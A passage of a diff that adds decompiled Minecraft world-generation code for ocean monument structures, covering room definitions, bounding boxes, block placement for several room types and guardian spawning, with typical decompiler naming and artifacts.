+    protected static final int func_175820_a(int p_175820_0_, int p_175820_1_, int p_175820_2_)
+    {
+      return p_175820_1_ * 25 + p_175820_2_ * 5 + p_175820_0_;
+    }
+    
+    public Piece()
+    {
+      super();
+    }
+    
+    public Piece(int p_i45588_1_)
+    {
+      super();
+    }
+    
+    public Piece(EnumFacing p_i45589_1_, StructureBoundingBox p_i45589_2_)
+    {
+      super();
+      coordBaseMode = p_i45589_1_;
+      boundingBox = p_i45589_2_;
+    }
+    
+    protected Piece(int p_i45590_1_, EnumFacing p_i45590_2_, StructureOceanMonumentPieces.RoomDefinition p_i45590_3_, int p_i45590_4_, int p_i45590_5_, int p_i45590_6_)
+    {
+      super();
+      coordBaseMode = p_i45590_2_;
+      field_175830_k = p_i45590_3_;
+      int var7 = field_175967_a;
+      int var8 = var7 % 5;
+      int var9 = var7 / 5 % 5;
+      int var10 = var7 / 25;
+      
+      if ((p_i45590_2_ != EnumFacing.NORTH) && (p_i45590_2_ != EnumFacing.SOUTH))
+      {
+        boundingBox = new StructureBoundingBox(0, 0, 0, p_i45590_6_ * 8 - 1, p_i45590_5_ * 4 - 1, p_i45590_4_ * 8 - 1);
+      }
+      else
+      {
+        boundingBox = new StructureBoundingBox(0, 0, 0, p_i45590_4_ * 8 - 1, p_i45590_5_ * 4 - 1, p_i45590_6_ * 8 - 1);
+      }
+      
+      switch (StructureOceanMonumentPieces.SwitchEnumFacing.field_175971_a[p_i45590_2_.ordinal()])
+      {
+      case 1: 
+        boundingBox.offset(var8 * 8, var10 * 4, -(var9 + p_i45590_6_) * 8 + 1);
+        break;
+      
+      case 2: 
+        boundingBox.offset(var8 * 8, var10 * 4, var9 * 8);
+        break;
+      
+      case 3: 
+        boundingBox.offset(-(var9 + p_i45590_6_) * 8 + 1, var10 * 4, var8 * 8);
+        break;
+      
+      default: 
+        boundingBox.offset(var9 * 8, var10 * 4, var8 * 8);
+      }
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_) {}
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_) {}
+    
+    protected void func_175821_a(World worldIn, StructureBoundingBox p_175821_2_, int p_175821_3_, int p_175821_4_, boolean p_175821_5_)
+    {
+      if (p_175821_5_)
+      {
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 0, 0, p_175821_4_ + 0, p_175821_3_ + 2, 0, p_175821_4_ + 8 - 1, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 5, 0, p_175821_4_ + 0, p_175821_3_ + 8 - 1, 0, p_175821_4_ + 8 - 1, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 3, 0, p_175821_4_ + 0, p_175821_3_ + 4, 0, p_175821_4_ + 2, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 3, 0, p_175821_4_ + 5, p_175821_3_ + 4, 0, p_175821_4_ + 8 - 1, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 3, 0, p_175821_4_ + 2, p_175821_3_ + 4, 0, p_175821_4_ + 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 3, 0, p_175821_4_ + 5, p_175821_3_ + 4, 0, p_175821_4_ + 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 2, 0, p_175821_4_ + 3, p_175821_3_ + 2, 0, p_175821_4_ + 4, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 5, 0, p_175821_4_ + 3, p_175821_3_ + 5, 0, p_175821_4_ + 4, field_175826_b, field_175826_b, false);
+      }
+      else
+      {
+        func_175804_a(worldIn, p_175821_2_, p_175821_3_ + 0, 0, p_175821_4_ + 0, p_175821_3_ + 8 - 1, 0, p_175821_4_ + 8 - 1, field_175828_a, field_175828_a, false);
+      }
+    }
+    
+    protected void func_175819_a(World worldIn, StructureBoundingBox p_175819_2_, int p_175819_3_, int p_175819_4_, int p_175819_5_, int p_175819_6_, int p_175819_7_, int p_175819_8_, IBlockState p_175819_9_)
+    {
+      for (int var10 = p_175819_4_; var10 <= p_175819_7_; var10++)
+      {
+        for (int var11 = p_175819_3_; var11 <= p_175819_6_; var11++)
+        {
+          for (int var12 = p_175819_5_; var12 <= p_175819_8_; var12++)
+          {
+            if (func_175807_a(worldIn, var11, var10, var12, p_175819_2_) == field_175822_f)
+            {
+              func_175811_a(worldIn, p_175819_9_, var11, var10, var12, p_175819_2_);
+            }
+          }
+        }
+      }
+    }
+    
+    protected boolean func_175818_a(StructureBoundingBox p_175818_1_, int p_175818_2_, int p_175818_3_, int p_175818_4_, int p_175818_5_)
+    {
+      int var6 = getXWithOffset(p_175818_2_, p_175818_3_);
+      int var7 = getZWithOffset(p_175818_2_, p_175818_3_);
+      int var8 = getXWithOffset(p_175818_4_, p_175818_5_);
+      int var9 = getZWithOffset(p_175818_4_, p_175818_5_);
+      return p_175818_1_.intersectsWith(Math.min(var6, var8), Math.min(var7, var9), Math.max(var6, var8), Math.max(var7, var9));
+    }
+    
+    protected boolean func_175817_a(World worldIn, StructureBoundingBox p_175817_2_, int p_175817_3_, int p_175817_4_, int p_175817_5_)
+    {
+      int var6 = getXWithOffset(p_175817_3_, p_175817_5_);
+      int var7 = getYWithOffset(p_175817_4_);
+      int var8 = getZWithOffset(p_175817_3_, p_175817_5_);
+      
+      if (p_175817_2_.func_175898_b(new net.minecraft.util.BlockPos(var6, var7, var8)))
+      {
+        EntityGuardian var9 = new EntityGuardian(worldIn);
+        var9.func_175467_a(true);
+        var9.heal(var9.getMaxHealth());
+        var9.setLocationAndAngles(var6 + 0.5D, var7, var8 + 0.5D, 0.0F, 0.0F);
+        var9.func_180482_a(worldIn.getDifficultyForLocation(new net.minecraft.util.BlockPos(var9)), null);
+        worldIn.spawnEntityInWorld(var9);
+        return true;
+      }
+      
+
+      return false;
+    }
+  }
+  
+
+  static class RoomDefinition
+  {
+    int field_175967_a;
+    RoomDefinition[] field_175965_b = new RoomDefinition[6];
+    boolean[] field_175966_c = new boolean[6];
+    boolean field_175963_d;
+    boolean field_175964_e;
+    int field_175962_f;
+    private static final String __OBFID = "CL_00001972";
+    
+    public RoomDefinition(int p_i45584_1_)
+    {
+      field_175967_a = p_i45584_1_;
+    }
+    
+    public void func_175957_a(EnumFacing p_175957_1_, RoomDefinition p_175957_2_)
+    {
+      field_175965_b[p_175957_1_.getIndex()] = p_175957_2_;
+      field_175965_b[p_175957_1_.getOpposite().getIndex()] = this;
+    }
+    
+    public void func_175958_a()
+    {
+      for (int var1 = 0; var1 < 6; var1++)
+      {
+        field_175966_c[var1] = (field_175965_b[var1] != null ? 1 : false);
+      }
+    }
+    
+    public boolean func_175959_a(int p_175959_1_)
+    {
+      if (field_175964_e)
+      {
+        return true;
+      }
+      
+
+      field_175962_f = p_175959_1_;
+      
+      for (int var2 = 0; var2 < 6; var2++)
+      {
+        if ((field_175965_b[var2] != null) && (field_175966_c[var2] != 0) && (field_175965_b[var2].field_175962_f != p_175959_1_) && (field_175965_b[var2].func_175959_a(p_175959_1_)))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+    public boolean func_175961_b()
+    {
+      return field_175967_a >= 75;
+    }
+    
+    public int func_175960_c()
+    {
+      int var1 = 0;
+      
+      for (int var2 = 0; var2 < 6; var2++)
+      {
+        if (field_175966_c[var2] != 0)
+        {
+          var1++;
+        }
+      }
+      
+      return var1;
+    }
+  }
+  
+  public static class SimpleRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private int field_175833_o;
+    private static final String __OBFID = "CL_00001975";
+    
+    public SimpleRoom() {}
+    
+    public SimpleRoom(EnumFacing p_i45587_1_, StructureOceanMonumentPieces.RoomDefinition p_i45587_2_, Random p_i45587_3_)
+    {
+      super(p_i45587_1_, p_i45587_2_, 1, 1, 1);
+      field_175833_o = p_i45587_3_.nextInt(3);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175830_k.field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175830_k.field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 4, 1, 6, 4, 6, field_175828_a);
+      }
+      
+      boolean var4 = (field_175833_o != 0) && (p_74875_2_.nextBoolean()) && (field_175830_k.field_175966_c[EnumFacing.DOWN.getIndex()] == 0) && (field_175830_k.field_175966_c[EnumFacing.UP.getIndex()] == 0) && (field_175830_k.func_175960_c() > 1);
+      
+      if (field_175833_o == 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 2, 1, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 2, 3, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 2, 2, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 2, 2, 0, field_175828_a, field_175828_a, false);
+        func_175811_a(worldIn, field_175825_e, 1, 2, 1, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 5, 1, 0, 7, 1, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 3, 0, 7, 3, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 2, 0, 7, 2, 2, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 2, 0, 6, 2, 0, field_175828_a, field_175828_a, false);
+        func_175811_a(worldIn, field_175825_e, 6, 2, 1, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 5, 2, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 3, 5, 2, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 2, 5, 0, 2, 7, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 2, 7, 2, 2, 7, field_175828_a, field_175828_a, false);
+        func_175811_a(worldIn, field_175825_e, 1, 2, 6, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 5, 1, 5, 7, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 3, 5, 7, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 2, 5, 7, 2, 7, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 2, 7, 6, 2, 7, field_175828_a, field_175828_a, false);
+        func_175811_a(worldIn, field_175825_e, 6, 2, 6, p_74875_3_);
+        
+        if (field_175830_k.field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 3, 0, 4, 3, 0, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 3, 0, 4, 3, 1, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 3, 2, 0, 4, 2, 0, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 1, 1, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 3, 7, 4, 3, 7, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 3, 6, 4, 3, 7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 3, 2, 7, 4, 2, 7, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 3, 1, 6, 4, 1, 7, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 3, 3, 0, 3, 4, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 3, 3, 1, 3, 4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 0, 2, 3, 0, 2, 4, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 1, 1, 4, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 7, 3, 3, 7, 3, 4, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 6, 3, 3, 7, 3, 4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 7, 2, 3, 7, 2, 4, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 6, 1, 3, 7, 1, 4, field_175826_b, field_175826_b, false);
+        }
+      }
+      else if (field_175833_o == 1)
+      {
+        func_175804_a(worldIn, p_74875_3_, 2, 1, 2, 2, 3, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 2, 1, 5, 2, 3, 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 1, 5, 5, 3, 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 1, 2, 5, 3, 2, field_175826_b, field_175826_b, false);
+        func_175811_a(worldIn, field_175825_e, 2, 2, 2, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 2, 2, 5, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 5, 2, 5, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 5, 2, 2, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 1, 3, 0, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 1, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 7, 1, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 6, 0, 3, 6, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 7, 7, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 6, 7, 3, 6, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 0, 7, 3, 0, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 1, 7, 3, 1, field_175826_b, field_175826_b, false);
+        func_175811_a(worldIn, field_175828_a, 1, 2, 0, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 0, 2, 1, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 1, 2, 7, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 0, 2, 6, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 6, 2, 7, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 7, 2, 6, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 6, 2, 0, p_74875_3_);
+        func_175811_a(worldIn, field_175828_a, 7, 2, 1, p_74875_3_);
+        
+        if (field_175830_k.field_175966_c[EnumFacing.SOUTH.getIndex()] == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 6, 3, 0, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 6, 2, 0, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 6, 1, 0, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.NORTH.getIndex()] == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 1, 3, 7, 6, 3, 7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 1, 2, 7, 6, 2, 7, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 1, 1, 7, 6, 1, 7, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.WEST.getIndex()] == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 3, 1, 0, 3, 6, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 0, 2, 1, 0, 2, 6, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 1, 6, field_175826_b, field_175826_b, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.EAST.getIndex()] == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 7, 3, 1, 7, 3, 6, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 7, 2, 1, 7, 2, 6, field_175828_a, field_175828_a, false);
+          func_175804_a(worldIn, p_74875_3_, 7, 1, 1, 7, 1, 6, field_175826_b, field_175826_b, false);
+        }
+      }
+      else if (field_175833_o == 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 0, 7, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 6, 1, 0, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 7, 6, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 2, 7, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 2, 0, 7, 2, 7, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 6, 2, 0, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 2, 7, 6, 2, 7, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 0, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 3, 0, 7, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 6, 3, 0, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 3, 7, 6, 3, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 3, 7, 2, 4, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175827_c, field_175827_c, false);
+        
+        if (field_175830_k.field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175822_f, field_175822_f, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175822_f, field_175822_f, false);
+        }
+        
+        if (field_175830_k.field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 7, 1, 3, 7, 2, 4, field_175822_f, field_175822_f, false);
+        }
+      }
+      
+      if (var4)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 3, 4, 1, 4, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 3, 2, 3, 4, 2, 4, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_74875_3_, 3, 3, 3, 4, 3, 4, field_175826_b, field_175826_b, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class SimpleTopRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001974";
+    
+    public SimpleTopRoom() {}
+    
+    public SimpleTopRoom(EnumFacing p_i45586_1_, StructureOceanMonumentPieces.RoomDefinition p_i45586_2_, Random p_i45586_3_)
+    {
+      super(p_i45586_1_, p_i45586_2_, 1, 1, 1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175830_k.field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175830_k.field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 4, 1, 6, 4, 6, field_175828_a);
+      }
+      
+      for (int var4 = 1; var4 <= 6; var4++)
+      {
+        for (int var5 = 1; var5 <= 6; var5++)
+        {
+          if (p_74875_2_.nextInt(3) != 0)
+          {
+            int var6 = 2 + (p_74875_2_.nextInt(4) == 0 ? 0 : 1);
+            func_175804_a(worldIn, p_74875_3_, var4, var6, var5, var4, 3, var5, Blocks.sponge.getStateFromMeta(1), Blocks.sponge.getStateFromMeta(1), false);
+          }
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 1, 0, 7, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 6, 1, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 7, 6, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 2, 7, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 2, 0, 7, 2, 7, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 6, 2, 0, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 7, 6, 2, 7, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 0, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 3, 0, 7, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 6, 3, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 7, 6, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 1, 3, 7, 2, 4, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175827_c, field_175827_c, false);
+      
+      if (field_175830_k.field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_175971_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001993";
+    
+    static
+    {
+      try
+      {
+        field_175971_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175971_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175971_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+  
+  public static class WingRoom
+    extends StructureOceanMonumentPieces.Piece
+  {
+    private int field_175834_o;
+    private static final String __OBFID = "CL_00001973";
+    
+    public WingRoom() {}
+    
+    public WingRoom(EnumFacing p_i45585_1_, StructureBoundingBox p_i45585_2_, int p_i45585_3_)
+    {
+      super(p_i45585_2_);
+      field_175834_o = (p_i45585_3_ & 0x1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_175834_o == 0)
+      {
+
+
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_74875_3_, 10 - var4, 3 - var4, 20 - var4, 12 + var4, 3 - var4, 20, field_175826_b, field_175826_b, false);
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 7, 0, 6, 15, 0, 16, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 0, 6, 6, 3, 20, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 16, 0, 6, 16, 3, 20, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 7, 7, 1, 20, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 15, 1, 7, 15, 1, 20, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 6, 9, 3, 6, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 13, 1, 6, 15, 3, 6, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 8, 1, 7, 9, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 13, 1, 7, 14, 1, 7, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 9, 0, 5, 13, 0, 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 10, 0, 7, 12, 0, 7, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 8, 0, 10, 8, 0, 12, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 14, 0, 10, 14, 0, 12, field_175827_c, field_175827_c, false);
+        
+        for (var4 = 18; var4 >= 7; var4 -= 3)
+        {
+          func_175811_a(worldIn, field_175825_e, 6, 3, var4, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, 16, 3, var4, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, field_175825_e, 10, 0, 10, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 12, 0, 10, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 10, 0, 12, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 12, 0, 12, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 8, 3, 6, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 14, 3, 6, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 4, 2, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 4, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 4, 0, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 18, 2, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 18, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 18, 0, 4, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 4, 2, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 4, 1, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 4, 0, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 18, 2, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 18, 1, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 18, 0, 18, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 9, 7, 20, p_74875_3_);
+        func_175811_a(worldIn, field_175826_b, 13, 7, 20, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 6, 0, 21, 7, 4, 21, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 15, 0, 21, 16, 4, 21, field_175826_b, field_175826_b, false);
+        func_175817_a(worldIn, p_74875_3_, 11, 2, 16);
+      }
+      else if (field_175834_o == 1)
+      {
+        func_175804_a(worldIn, p_74875_3_, 9, 3, 18, 13, 3, 20, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 9, 0, 18, 9, 2, 18, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 13, 0, 18, 13, 2, 18, field_175826_b, field_175826_b, false);
+        byte var8 = 9;
+        byte var5 = 20;
+        byte var6 = 5;
+        
+
+        for (int var7 = 0; var7 < 2; var7++)
+        {
+          func_175811_a(worldIn, field_175826_b, var8, var6 + 1, var5, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, var8, var6, var5, p_74875_3_);
+          func_175811_a(worldIn, field_175826_b, var8, var6 - 1, var5, p_74875_3_);
+          var8 = 13;
+        }
+        
